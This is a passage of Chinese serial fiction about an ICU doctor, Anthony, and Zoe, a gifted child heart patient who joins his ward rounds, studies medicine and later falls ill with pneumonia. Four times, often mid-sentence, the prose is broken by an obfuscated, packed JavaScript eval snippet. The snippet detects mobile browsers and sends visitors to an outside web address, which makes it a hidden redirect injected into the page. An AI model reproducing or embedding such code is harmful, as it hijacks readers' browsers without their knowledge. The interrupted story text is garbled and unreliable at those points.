床头那一侧的墙面上挂着一排东西:氧气接口、监护接口、几个电源插座、一条网线从房间墙角拖到床边。当然,如果忽略这些,这房间就像一间书房。床边柜上摞着书,小餐桌上有打印出来的论文,墙上贴着一张手写的日程表,字迹工整。日程表边上围了一圈便利贴,写着各种安东尼没能理解的缩写。 佐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401648|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊看见有人推门进来,把电脑合上一点。看见是他,眼睛亮了一下:“安东尼!你怎么来了!” “嗯。”他点了点头,“路过,上来看看你。” 佐伊关上电脑,把大概是书签的便签纸夹进手边的书里,合上后放在一边,然后顺势把跨床桌一推,自己转身去书桌那边拿东西。 安东尼靠过去两步,看了看封面。是一本《免疫学基础》,比之前那本《儿科心脏病学临床指南》薄一点……但也薄不到哪去。 “免疫?看得懂吗?”安东尼觉得自己见到佐伊做任何事都不会惊讶了…虽然这句话他说过很多次了,但这孩子好像总是在重塑自己的三观。 “有些懂,有些不懂。”佐伊还是那句话。 她好像打开了床头柜的抽屉,然后转回来,手里拿着一盒巧克力。不是超市里常见的整磅的一大块的那种,而明显是礼物的小包装,“给,本来想等你下次讲座去找你,可是你最近大概挺忙的?没见到你的…公告。” “还好,不过最近的确有些病人不稳。”安东尼接了巧克力,没有推辞,“谢谢。你自己买的吗?” “查尔斯留给我的,但我有权转赠给你。”佐伊一本正经得说。“我还没有零花钱,查尔斯想给,但我觉得用不着。” 安东尼点点头,“你那些邮件,查尔斯知道吗?” “知道一部分。”佐伊说,“他问我为什么要看这些,我说想弄明白自己身上发生过什么。他没再问。” 安东尼没说话。 过了一会儿,佐伊忽然开口:“安东尼。” “嗯?” “你当时来伦敦,是因为我吗?” 安东尼转过头,看着她。 佐伊也看着他。那双眼睛还是黑的,还是静的,但里面有什么东西在动。不是疑问,是确认。 “查尔斯说,有个生病的孩子,可能需要我一直帮忙看着。”安东尼说,“他给我看了你的病历。” “然后你就来了?” “然后我来了。” “我现在好了…你会待多久?”佐伊问。 安东尼想了想。合同没有期限,查尔斯没说,他也没问。 “不知道。”他说,“我现在有好几个课题在这里,合同没有期限,但我不确定查尔斯会不会开除我。” 佐伊又点点头。 过了一会儿,她说:“那等你走的时候,我是说如果,如果你要走的话,跟我说一声。” 安东尼看着她。 “好。”他说。 —— 那天傍晚,安东尼在回公寓的路上买了一盒苹果,一盒草莓。小家伙爱吃,他准备明天带去。 不料这天半夜冒出来一个急诊抢救,很重的心衰呼衰,急诊室的主任维持不住,开始摇人,他奔去icu接病人。在值班室和病房里陀螺一般的忙了36小时,直到病人情况稳了才换班。等到再回公寓,草莓已经放了超过两天,不怎么新鲜了。安东尼只好把那盒草莓留给自己吃。 那是个休息日的夜里,他放了一部老电影来看,煮了一份咖啡,用烤箱烤了一盘可以当电影零食吃的玉米脆。等投影机预热的时候,安东尼去把草莓洗了,草莓很红,虽然不太新鲜了,但似乎更甜了一点点。 这里是独属于他的住处了,公寓在Beacon医疗中心的裙楼对面,从公寓楼侧门奔出去,穿个马路就直接能杀到急诊室的分诊台。 他爱做饭,所以有宽敞的厨房。需要泡澡,所以选了舒适的浴室。需要倒班,所以小卧室有遮光帘。需要看文献,所以餐厅兼职了书房。爱看电影,所以置办了舒适沙发和参数不错的投影机。 沙发后面的边柜上放着几个镜框,有自己新加坡那只猫的特写,有自己和爸爸的合影,有和同学们重聚的合影,Shannon的大脸怼在镜头最前面。还有一张卡片,卡片上画着一个健康的心脏,下面用规规矩矩的字写着:Thank you, Dr. Anthony。 安东尼把自己丢进沙发里,端起咖啡喝了两口。自己煮的比ICU那层的咖啡机好喝很多。他隐隐约约意识到,他这次来,似乎一丝一毫没有想过要离开。 7. 小尾巴 九月初,伴着学院开学的节奏,新来一批规培。 那天是周二,心内心外联合大查房。科室主治带着住院医和学生们,从一个病区走到另一个病区,看病人,讨论病情,下医嘱。人很多,白大褂一片,浩浩荡荡。 安东尼作为重症主任,照例也是要参与的,他出于直觉的预警往往相当有价值。他把手插在白大褂的兜里,走在队伍中间,听一个个住院医汇报病例。 心外查完了,大部队准备往心内走。走到走廊拐角的时候,他眼角的余光忽然觉得队伍里多了点什么。 他回头看了一眼。 一个小姑娘,穿着一件白卫衣,正混在人群里,溜溜达达地跟着。脸上戴着口罩,只露出一双眼睛,眨巴眨巴的,很认真地在听。这孩子比记忆里的样子又高了一点点,但这眼神,认不出来都难。 安东尼愣了一下,刚想开口,病区护士长从后面追上来。 “佐伊!你又乱跑!” 小姑娘停下来,转过头,一脸无辜地看着叫住自己的护士长。 “我想走走。麦克斯医生说了可以到处走走。” 护士长叉着腰,“医生说的是在疗养院的花园里走走,不是跟着医生查房!” 佐伊眨了眨眼睛,摘下口罩,神情里有点委屈巴巴的样子,“花园今天有点热。晒多了体温高,循环压力大,对我不好。” 护士长噎了一下。 旁边几个听到动静的规培生憋着笑,不敢出声。 安东尼站在那儿,看着她。 她好像感觉到了他的目光,转过头,笔笔直对上他的眼睛。那双眼睛很亮,没什么害怕,也没什么心虚。就是那么坦然而直白的看着他,好像在问:安东尼,我说的对不对? 安东尼心里觉得这是她第一次在他面前显露出这样的“孩子气”,不,是第一次明摆着“利用”自己还是个孩子这件事。于是他蹲下来,和她平视,“你怎么跑过来了?想跟着查房?” 佐伊点了点头,“嗯,书看累了。” 安东尼看着这孩子的眼睛,然后伸出手,“可以,但是有规矩。必须跟着我。不要自己乱跑乱碰。口罩戴好,手消毒。不要说话,不许插嘴,保持安静。如果有问题的话回去再问我。” 佐伊看着他的手,愣了一下。 然后她把小手伸过去,握住他的手。她整只手裹上去,也只勉强握住安东尼的三个手指。 “好。” 安东尼牵着她,走回查房的队伍里。 护士长站在后面,张了张嘴,又闭上了——这个自己也管过的小家伙的确是安东尼的“兼职”看顾对象,但是…… 旁边一个老护士拍了拍护士长,小声说:“行了行了,有人管了就可以了。” --- 从这一天开始,佐伊就光明正大的成了安东尼的小尾巴。安东尼往佐伊的邮箱里丢了一个大查房安排表,一个月,每天的科室不一样,每天都是早晨的一个半小时,安东尼把自己能参加的班次圈了出来,小家伙跟着安东尼的日程也做了份自己的日程表,每天乖乖的在指定科室的护士站等。 就这样,每天早上大查房的时候,只要安东尼去,佐伊就跟着。平会诊的时候,她如果刚好遇到,也跟着。安东尼个子高,步子大,走得快,她就溜溜达达跟在后面,有时候一溜小跑,跑累了就自己歇一会儿,然后继续追。 安东尼不需要回头找她。他知道她万一走散了,会回到护士站乖乖的等。 心内科,心外科,消化内科,血液科,骨科,呼吸科……大部分安东尼感到她能听懂一点点的科室,她都去过,监护仪上的波形和数字,化验单上的箭头,就在这个过程里看熟了。 有一天是肾内科。 一个六十多岁的男人,糖尿病肾病终末期,刚做完透析回来。住院医在汇报情况,主任老霍华德看着那堆高高低低的电解质指标皱着眉。安东尼站在床边听着,余光扫了一眼门口——佐伊靠着墙,站在角落里,安安静静的,像一小团灰色的影子。 住院医说完了,主任开始提问,规培生眼观鼻鼻观心。 这个马上要退休的老霍华德叹了一口气:“那你们回答不出来我的问题,你们自己提问来问我总行吧?我好知道你们脑子里缺点什么,来来来。别不好意思,来提问吧,我的孩子们。” 继续沉默。病房里只剩下监护设备规律的滴滴声。 然后,病房角落里,那个躲在安东尼身边的小家伙举手了。 主任一愣,看了安东尼一眼,然后伸手一指,“你说。” “透析液的钾浓度是怎么确定的?已知透析过程中血钾会快速下降,如果用正常甚至低钾的透析液,透析完可能更低。用略高于血钾浓度的透析液,是防止透析过程中掉得太厉害。但这个病人血钾2.8,透析液3.5,这个差值是不是太大了?为什么是这个数值?是根据什么算的?是常规方案还是个体化调整?调整的依据是什么?” 声音不大,但问得毫不犹豫……甚至可以说是,逻辑严密,思路清晰。 病房里安静了一秒。所有人……包括病人,都转过头,看向那个角落。 佐伊站在那里,仰着脸,眼睛从口罩上方露出来,认认真真看着主任。她没觉得自己问了什么奇怪的问题,就是纯粹好奇,纯粹的在等一个答案。 安东尼低头看了看手里的病例。 最新一个血钾2.8。透析液钾浓度3.5。 他张了张嘴。然后他把嘴闭上了。 霍华德转过头来,看着安东尼,眼神里有一种“你家孩子?”的疑问,还有一点“这问题问得挺有意思”的兴趣。 安东尼站在那儿,脑子里在飞快地转。为什么低钾的病人要用相对高钾的透析液?为什么是这个差值?说实话,他不知道。他手里只有这张化验单,没有透析方案,没有之前的血钾曲线,没有病人的用药清单。他不知道这个病人有没有在用利尿剂,有没有在用胰岛素,有没有在吃东西,透析前有没有抽过血。 他站在那儿,脑子里转完了这些问题,然后他低下头,看着佐伊。 佐伊看了安东尼一眼,然后又转过去看主任。在等答案。 “这个问题,”霍华德说,“需要一个系统的铺垫才能向你解释清楚。可能需要一个很长的前情提要,我可以给你发个课件。” 佐伊眨了眨眼。然后她点点头,像接受了一个再正常不过的事实。 “好。”她说。 然后老霍华德笑了一声,拍了拍身边那个目瞪口呆的主治的肩:“走吧,下一个。” 安东尼牵着这孩子,跟着队伍往外走。那群二十来岁的规培生默默的跟在了这孩子的后面,大气不敢出。 —— 那天下午,安东尼把肾内科那个在轮休的住总从休息状态拽出来,问了半个小时。 透析液的钾浓度怎么定的?根据什么调整?调整的依据是血钾还是临床表现?透析过程中血钾的变化曲线是什么样的?为什么有人用3.5有人用2.0有人用4.0? 住总被他问得有点懵,最后有点无奈的说:“我把我们主任的课件发给你?你要吗?” “要!” 晚上值班的时候,安东尼打开电脑,开始看课件。看了两页,他停下来,给那个轮休的住院总发了封邮件,问能不能约个时间当面请教几个问题。 那个年轻的住院总叫帕克,回复很快:“我回来上班了,值班呢,你在吗。” 安东尼不敢离开病房,帕克那边病人更稳,于是帕克干脆自己去了ICU了一趟,在安东尼的办公室里坐了一个小时。把透析液配方的逻辑从头到尾讲了一遍,从生理讲到病理,从理论讲到临床,还顺手画了几张图。 安东尼听完,又问了几个问题。帕克一一答了,最后靠在椅背上,看着他。 “安东尼,你是重症主任,肾内科的东西你知道一点就已经够用了。怎么突然问这么细?” 安东尼想了想。 “今天查房的时候,有个小孩问了个问题,我没答上来。” 帕克愣了一下,然后笑了。 “小孩?那小孩几岁?” “八岁,不到一点点。” 帕克的笑容僵在了脸上,“该不会是我的病人吧。” “不是。”安东尼又气又好笑,站起来给帕克倒了一杯咖啡。 —— 次日早上的大查房,排的消化内科,佐伊站在护士站那边等集合,刚值完夜班的安东尼从楼下上来,看到佐伊在,就把她先拉到边上,找了个等候的椅子坐着。 “昨天那个问题,”他说,“我查清楚了。课件我转发到你邮箱了,你要是有时间,自己也看看。” 然后他开始讲。 从透析液的钾浓度怎么定讲起,讲到血钾在透析过程中的变化曲线,讲到为什么2.8的病人会用3.5的透析液,讲到这个差值是根据什么算的,讲到如果这个病人有特殊情况该怎么调整。他讲了大概十分钟,尽量用佐伊能听懂的方式讲,但没糊弄,所有关键点都讲到了。 佐伊一直听着,偶尔点点头。讲完的时候,她看着他,眼睛很亮。 “所以那个病人,他的透析液是合适的?” “合适的。”安东尼说,“但如果没有之前的血钾曲线和用药清单,光凭这一张化验单,没法判断这个‘合适’是精心计算的结果还是碰巧撞上的。” 佐伊点点头。然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401649|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她想了想,又问:“那你怎么知道是精心计算的还是碰巧撞上的?” 安东尼看着她。 “我后来去查了病历。”他说,“他有连续三个月的血钾记录,透析前后的都有。他的用药清单里有利尿剂,有胰岛素,有降压药。他的透析方案是根据这些数据个体化调整的。不是碰巧。” 佐伊又点点头。她低头想了想,然后抬起头,看着安东尼。 “谢谢你。”她说,“专门查了告诉我。” 安东尼笑了笑,“不客气,我自己也想知道。” —— 那天晚上,安东尼下夜班刚睡醒,就收到一封邮件。 发件人: 主题:Thank you Dr. Anthony, 谢谢您专门去查了那个问题。也谢谢您没有随便编一个答案给我。 我以前问别人问题,有些人会说“等你长大了再学”。有些人会讲一点,但讲着讲着就绕过去了。您是第一个查完以后专门回来告诉我的人。 我知道您很忙。所以,谢谢。 ZP. 安东尼看完,把手机放在桌上。然后他站起来,去厨房煮了一份意面。茄汁意面,牛肉粒以及煎和牛,烤番茄,荷包蛋,再搭配盒草莓。吃着的时候,他又把那条消息看了一遍。 “您是第一个查完以后专门回来告诉我的人。” —— 同一周的周五,查房,佐伊还是跟在安东尼身边。心外科,这个科室里里外外,佐伊熟的不得了。麦克斯也喜欢这会发邮件与自己预约复查时间的孩子,看见她也在,招招手跟她打招呼。走到第三个病房,一个住院医在汇报病例,说到某个指标的时候,佐伊拉了拉安东尼的袖子。 “嗯?”安东尼侧过头去。 “那个肌酐清除率,是不是该用矫正公式算?”佐伊小声说,“现在这个,药不对。” 病房里挺安静,虽然佐伊想说悄悄话,但实际上大家都听见了—— 不知道这群规培生平时怎么沟通的,反正他们现在都躲着这个小孩走。就连查房的时候,都把她让到前面去“挡子弹”。 佐伊站在那儿,看着安东尼,眼神很认真,不是在捣乱,是真的觉得那个数值可能需要矫正。安东尼清了清嗓子,看了看住院医,住院医愣了一下,低头看了看手里的资料,又看了看麦克斯。 麦克斯走过去,低头看了看那一沓化验单。然后他抬起头,对住院医说:“她说得对。这个指标在病人目前的肾功能下,需要用矫正公式。重新算。” 住院医点点头,低头去算了。佐伊站在那儿,仰着头,看着安东尼,“昨天的课件我看了,你讲过以后好懂多了。” 安东尼伸手牵着她,佐伊跟上,疾走了几步,又慢下来,溜溜达达地缀在边上。 —— 那天的最后一个病例不太稳,安东尼进病房详细会诊,不方便带着她,她就在门口等着,靠着墙,安安静静的,不吵不闹。 医生们聊的时间长了点,安东尼出来的时候,发现她蹲在墙角,坐在地上,靠着墙,盘着腿,睡着了——天天早上七点半就到护士站集合,对一个孩子来说的确有点累。 他站在那儿看了她一会儿。 她睡着的样子,和在ICU的时候不一样了。眉头舒展着,呼吸很轻,脸上有一点点肉了。 安东尼轻轻把她推醒,她迷迷糊糊睁开眼,警觉了半秒钟,看见是他,手一伸,做了个要牵手的动作。可站起来的时候左脚绊右脚,安东尼伸手一扶,只见她困得东倒西歪,眼睛又闭上了。 安东尼叹口气,只得干脆一把抱起她,往疗养楼那边走。佐伊个子长了,体重也重了,当年的二十公斤变成了二十二公斤,但对于安东尼来说,依然轻得像一只小鸟——佐伊往安东尼的肩膀上一趴,像只树袋熊似的,找了个舒服的角度,两只手勾着安东尼的脖子,毫无戒心的继续睡了过去,真的像只猫。 当年还在ICU的时候,安东尼自己亲口说家里人大概会很宠,没想到自己第一个先宠上了。 路过护士站的时候,一个小护士探头看了一眼,“安东尼主任,这是谁家孩子啊?” 旁边一个老护士头也没抬,半开玩笑地说:“他女儿。” 安东尼笑了笑,点点头和护士们打了个招呼,没说话。 8. 教与学 半年复查的那次,安东尼答应教佐伊看心超图。 夏季过去了,凉爽的十月天气晴好,佐伊提前十分钟到了。她穿了一件浅蓝色的卫衣,头发比之前又长了些,扎成一个小马尾。她走路的时候有一点颠脚,整个人有一点儿上下起伏,连带着马尾辫一晃一晃的。 安东尼在影像中心等着了。麦克斯主任也在——他不需要盯着情况良好的病人做复查,但听说安东尼要“上课”,就特意留了下来,坐在技术老师身边能看见显示屏的椅子上,一副看热闹的表情。 “去吧,今天你自己是‘病例’”,安东尼语气里带了一点点笑意。 佐伊脱掉外套和卫衣,只穿着一件小背心,自己爬上检查床,躺好。胸口那道疤痕已经淡了很多,从鲜红变成浅粉色,边缘泛着白,像一条安静的线。 B超操作技师是个三十来岁的女人,叫艾米丽,心超室的老手了。她挤了耦合剂在探头上,走过来,准备往佐伊胸口涂。 佐伊忽然举起手。 艾米丽愣了一下,以为孩子不舒服:“怎么了?” “我可以自己先说一下看到了什么吗?”佐伊眨了眨眼,看着头顶的显示屏,“然后你们来纠正我说得对不对。” 艾米丽看了麦克斯一眼。麦克斯挑了挑眉毛,没说话,但脸上的笑意更浓了。艾米丽又转头看向安东尼,神情里有点迷茫,不过安东尼点点头,“没事的艾米丽,你就当教学常场。她说,你操作。” “行。”艾米丽把探头伸过去,“你来说,我做。” 佐伊顿了顿,像是在整理思路,“先看胸骨旁左室长轴。右心室在左边,左心室在右边,中间是室间隔。主动脉在前,左心房在后,二尖瓣连着左室。” 艾米丽把探头放在她胸口,调整了一下角度,屏幕上出现那个标准的切面。 佐伊盯着屏幕,继续说:“室间隔修补的地方在这里,看起来是完整的,没有残余分流。” 她顿了顿,指了指屏幕上的一个区域:“这个是右心室流出道吗?麦克斯医生说我的肺动脉瓣目前正常,这里应该没有狭窄。” 艾米丽看了安东尼一眼,安东尼点点头。 “对,”艾米丽说,“流出道是通的,流速正常。” 佐伊嗯了一声,继续往下说:“然后看四腔心。四个腔室的大小比例应该是……左室比右室大一点,心房也是。” 艾米丽把探头转了个角度,四腔心的切面出现在屏幕上。 佐伊盯着看了一会儿,眉头微微皱起来。 “这个,”她指着屏幕上一小块彩色的区域,“这个是反流吗?颜色不太对,我看不太出来。” 安东尼走到屏幕前,指了指那个位置:“这是三尖瓣的微量反流,正常人也会有,不影响。” 佐伊点点头,继续往下说。她一路把标准切面说了个遍——心底短轴、二尖瓣水平短轴、□□肌水平短轴,说到这里的时候她卡了一下,安东尼稍稍提醒了。 然后是心尖四腔、心尖两腔、心尖三腔。有些切面她记得不太清楚,就停下来想一想,然后继续往下说——这种想不起来,完全因为她对专业词的发音不够熟,而不是真的不记得那是什么。安东尼能听出来,他自己十几岁刚刚开始背这些内容的时候,也是这个样子。 说到最后,她看着屏幕上那堆彩色的多普勒信号,皱了皱眉。 “这个我看不太懂。”她老实承认,“我知道蓝色是血流离开探头,红色是流向探头,但是这些乱七八糟的颜色混在一起,我就分不清了。” 安东尼走到她身边,指着屏幕上的图像开始讲。从多普勒的原理讲起,讲到怎么区分层流和湍流,怎么判断反流的严重程度,怎么看跨瓣压差。他讲了大概十五分钟,偶尔停下来,让佐伊看一眼屏幕,确认她看懂了再继续。 佐伊一直听着,偶尔点点头。 讲完的时候,安东尼低头看她:“懂了多少?” 佐伊想了想:“大概百分之六十。” “剩下的呢?”安东尼笑了一下,他自己心里是觉得,这小家伙给自己打分打得还挺严。 “再回去看看资料,下次问你。” 角落里的麦克斯站起来,走到床边,低头看着佐伊:“你这小家伙,整个Beacon Care都快认识你了。长大点来当我学生吧,我收你。” 佐伊眨了眨眼,认真地问:“那我能同时跟安东尼学吗?” 麦克斯愣了一下,然后哈哈大笑:“行,一人带一半。” —— 那天晚上,安东尼收到一封邮件。 发件人: 主题:Re: Re:Thank you Dr. Anthony, 我今天很高兴。谢谢您。 另外,您今天讲的多普勒原理,我查了一下资料,有一点不明白。为什么层流是那种频谱,湍流是那种?我画了个图,附件里,不知道对不对。 ZP. 安东尼打开附件,是一张手绘的图,手机拍的照, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401650|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光线不是很好,有点糊。上面画着两条线,一条平滑的,一条乱的,旁边用歪歪扭扭的字标着:层流、湍流。图下面还有一行小字:我画得不太像,但意思是这个意思。 他看了一会儿,然后回: 层流是血流速度一致,所以频谱窄、整齐。湍流是速度不一致,有快有慢,所以频谱宽、乱。你画的意思是对的。 A. 佐伊大概守在电脑边上,秒回了安东尼的邮件: Dr. Anthony, 谢谢!此外下个月的查房安排? ZP. 安东尼把值班表翻出来,圈好了自己预计能够出席的日子。回了过去。 —— 十一月的第一周,气温骤降。安东尼有一次带佐伊查房的时候觉得她好像跟的有点累,那天走完了,便叮嘱她注意休息。 “后面一周天我轮休,你自己乖乖在疗养院那边呆着不要乱跑。”安东尼给佐伊捏了捏口罩鼻梁上的金属条,“回去吧,走慢点。” 佐伊点了点头,蹦蹦跶跶的走了。 那天晚上,安东尼电影刚刚看了个开头,就被ICU值班主治拉到病房加个班。 是一个肺栓塞的危重,家属非常支持,患者一般情况也挺好,四十七岁的女性,年纪不大,没什么基础病。安东尼亲自和家属谈了两轮,自己亲自守了一天一夜,能上的都上了,结果还是没留住。 患者刚刚成年的女儿在电梯边哭成了泪人,另外还有个叛逆期的儿子,在边上骂天骂地骂医生,当丈夫的坐在休息椅子上,神情木然。社工坐在边上劝。安东尼叹了口气,他知道这种程度的心理干预,也只能说是聊胜于无。生活还是要继续的,他转身回办公室填死亡证明——他作为主任入院的时候,医务处发了一沓。 一般来说,一沓纸就是半年的份,如果用完了,就再去申请。 作为Last Station,每个住院医都会拿到这样一叠纸,唯一的区别就是,有些科室用得快些,有些科用得慢些。像ICU这种科室,遇到运气不好的时候,部门内勤可能三个月就要跑一趟。 等安东尼意识到已经三天没收到佐伊邮件的时候,他自己应有的假期也过完一半了。他交了班,准备回去休息,同时还惦记着买点东西,公寓冰箱里存货不多了,此外,快要到佐伊的生日了。 去年这时候,小家伙还在生死线上挣扎,今年,已经天天跟在住院医的屁股后面“唯恐天下不乱”得举手了,尤其这几个月,越发语不惊人死不休,愿意给她发PPT课件的主任,数一数已经超过了两只手。 安东尼先回公寓洗了个澡,吃了顿饭,然后拿上车钥匙准备去城郊。 9. 南瓜骷髅 上周休假的时候,肾内那个住院医给他推荐了一个农场,说是逢单日有蔬果市集,秋季还有南瓜变装舞会,非常有趣。他想去看看。说不定可以给佐伊带点什么好玩的东西过来。 开着导航一路往郊区开的路上,安东尼开始反思。佐伊喜欢什么呢?擅长什么呢?在学医学之外的。 她喜欢吃水果,啃起苹果来像只小仓鼠。也挺喜欢吃糖,有几次去疗养院那边看她,发现她床头柜上有个糖罐子,吃空了就会有人补上,大概是查尔斯经常给她带的。 爱看书,在专业书之外,她还大量看小说——都不是童话书,是大人看的那种大部头小说。她看书速度快,安东尼见过她翻通俗小说的速度,她自己也说,每次去图书馆借七八本,一周就能换一批。 还喜欢玩乐高,之前麦克斯送她一个很精巧的心脏模型,乐高的那种小颗粒,她连图纸都没看,噼里啪啦就拼好了,天晓得哪里训练出来的空间想象力。 哦对,说起空间,还有一点。佐伊对空间的理解能力很传奇——护士长之所以永远抓不住佐伊这个“到处乱跑的捣蛋鬼”,就是因为她对Baecon每个楼梯间每个消防梯每个通道都很熟。有好几次,她从安东尼办公室隔壁的消防门里钻出来。护士台的人都没见到她,她已经窝在自己“责任医生”的办公室里晒太阳了。 安东尼曾经问过她:“你怎么找到这条路的?” 小家伙一脸理所当然的说:“疗养中心和医院公用的一个地下停车场啊,随便走走就过来了。” 整个院区走了三天才记住哪一层是什么的安东尼觉得自己记路够厉害了。在停车场是通的所以“随便走都能找到别人办公室”这个问题上,安东尼输给了一个脑子里好像有导航的小不点。他就算下雨天想去疗养楼,也没法选地底下那条不淋雨的路——他在停车场里的时候根本不知道去疗养院该往哪里走。 还没等安东尼想出个所以然,郊外农场到了。 Crockford Bridge Farm不错。有秋季的新鲜苹果,李子与蔓越莓也在大量上市,南瓜更是特别多,铺天盖地,雕刻的南瓜手工艺品到处都是,很衬即将到来的万圣节。 安东尼选了个晒干的小南瓜雕刻的骷髅,看起来又冷静又可爱的样子,神情里和佐伊有点儿神似。homemade的苹果果酱看起来非常诱人。但是安东尼没有买,主要是因为自制果酱添加剂不清不楚,有过敏的风险。 太阳刚准备落山,安东尼已经抱着一篮子苹果和那个南瓜小骷髅去找佐伊了。 篮子是在农场门口现买的,藤编的,不大,刚好装下他挑的那些东西。苹果选了三种——红富士、金冠、还有一种叫“皮平”的英国老品种,卖苹果的老头说这种酸甜适中,小孩喜欢吃。他买了两公斤,把篮子塞得满满当当,南瓜骷髅放在最上面,用纸巾垫着,怕磕坏了。 疗养中心的前台是个四十来岁的中年女人,姓琼斯,安东尼来过几次,跟她熟了。她看见安东尼进来,站起来说:“您来了!” “嗯。”安东尼随意点点头,伸手掏工牌,准备往里刷。 “佐伊在休息,”琼斯说,“她今天好多了。” 安东尼拿着工牌的手顿住了。他转过头,看着琼斯,神情都变了,“什么情况?” 那一瞬间的表情和瞬间冷静的口吻,让人相信,他的确就是那个三十岁没到就做了重症主任的人。他绝对不是靠温和的“你好我好大家好”拿到职位的,而是用极强的专业能力,极冷静的情绪,极理性的判断力以及极敏锐的直觉,在ICU和死神抢人的…… 琼斯脸上的笑容僵了一下,然后意识到了什么,“她发烧了……您不知道?” 安东尼没说话。他把篮子放在前台桌面上,从口袋里掏出工牌,放在读卡器上。滴的一声,门禁开了。 “哪间?” “还……还是原来那间。”琼斯说,“她没换。” 安东尼推门进去,熟门熟路地穿过走廊。 房间门虚掩着,他敲了两下,没人应。他推开门,走进去。 房间还是那个房间。书和电脑都被收拾到了窗边的桌子上,整整齐齐地摞着。小家伙睡着,盖着厚厚的毯子,只露出一张脸。 脸色比平时白。不是那种健康的粉白,是有点发灰的白。 鼻子里插着氧气管,细细的两根,绕到耳后固定住。手背上贴着留置针的敷料,透明的输液管连上去,吊瓶挂在床头的架子上,液体一滴一滴地落下来。咕嘟咕嘟的气泡从湿化瓶里冒出来,像温柔的白噪音,在哄着这个孩子。 平时黑屏的监护仪又开起来了。血氧在96和97之间反复跳,对她来说勉强可以接受。呼吸22,心率112——偏快一点,因为还在发烧。 安东尼站在门口,看了几秒钟。 然后他把苹果篮子放在门边的矮柜上,走到床边,拖了一把椅子坐下。 金属封面的病历本在床头插着。他抽出来,翻开。 第四天了。 从他们分开那天开始——他叮嘱她注意保暖,她点点头,蹦蹦跶跶地走了——那天晚上她就开始发烧。护士第二天早上例行查房的时候发现的,体温39.7,听诊有湿啰音,全科医生过来一看,已经肺炎了。 她小时候因为心脏问题,肺跟着不太好。法洛四联症的孩子,肺血流量本来就少,肺血管发育也受影响。根治术做完,循环改善了,但肺本身的底子在那里。但凡有个上呼吸道感染,一个不小心就变得很重。 安东尼翻着病历,看这几天的用药记录。抗生素,雾化,补液,退烧药。体温曲线画在最后一页,前两天一直在38.5以上晃,今天才降到37.8。 他把病历合上,放回去。 然后他坐在那儿,看着床上那个小小的身影。 她睡着的样子很安静。眉头没皱,呼吸也平稳,就是脸色白得让人心里发紧。毯子裹得很紧,只露出手和脸。那只没打针的手放在枕头边,手指微微蜷着,指甲剪得很短。 他看了一会儿,然后往后靠了靠,把椅子坐舒服一点。 窗外天快黑了。十一月的伦敦,下午四点多就开始暗下来。房间里没开大灯,只有床头阅读灯亮着,昏黄的光照着床头,把影子投在枕头上。 他坐在那儿,什么都没想。 过了一会儿,床上的人动了一下。翻了个身。 佐伊睁开眼,迷迷糊糊地眨了眨,然后看见了坐在床边的安东尼。 她愣了一下,坐起来,然后眨了眨眼,又眨了眨眼,好像要确认自己是不是看错了。 “安东尼?”声音哑得厉害,像砂纸磨过木头。 “嗯。”安东尼往前坐了坐,“醒了?” 佐伊盯着他看了一会儿,然后嘴角动了动,像是想笑,但没笑出来。 “你怎么来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401651|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “路过。”安东尼说,“顺便看看你。” 佐伊眨了眨眼。那个表情好像在说:你路过? 但她没拆穿。她只是侧了侧身,换了个姿势,然后问:“你带什么来了?” 安东尼愣了一下。这孩子,眼睛还挺尖。 “苹果。”他说,“还有一个小玩意儿。” 佐伊的眼睛亮了一下。虽然只有一下,但安东尼看见了。 “能吃吗?” “现在不行。”安东尼说,“等你不烧了再说。” 佐伊哦了一声,没再问。她躺在那儿,眼睛看着他,好像在看什么稀奇的东西。 安东尼被她看得有点不自在,站起来,走到门边,把那个南瓜骷髅拿过来,放到她手里。 “这是什么?”佐伊伸手摸了摸,摸到那个刻出来的骷髅脸,又看了看那个晒干的南瓜壳。 “南瓜骷髅。”安东尼说,“农场的,雕好了晒干的。万圣节快到了。” 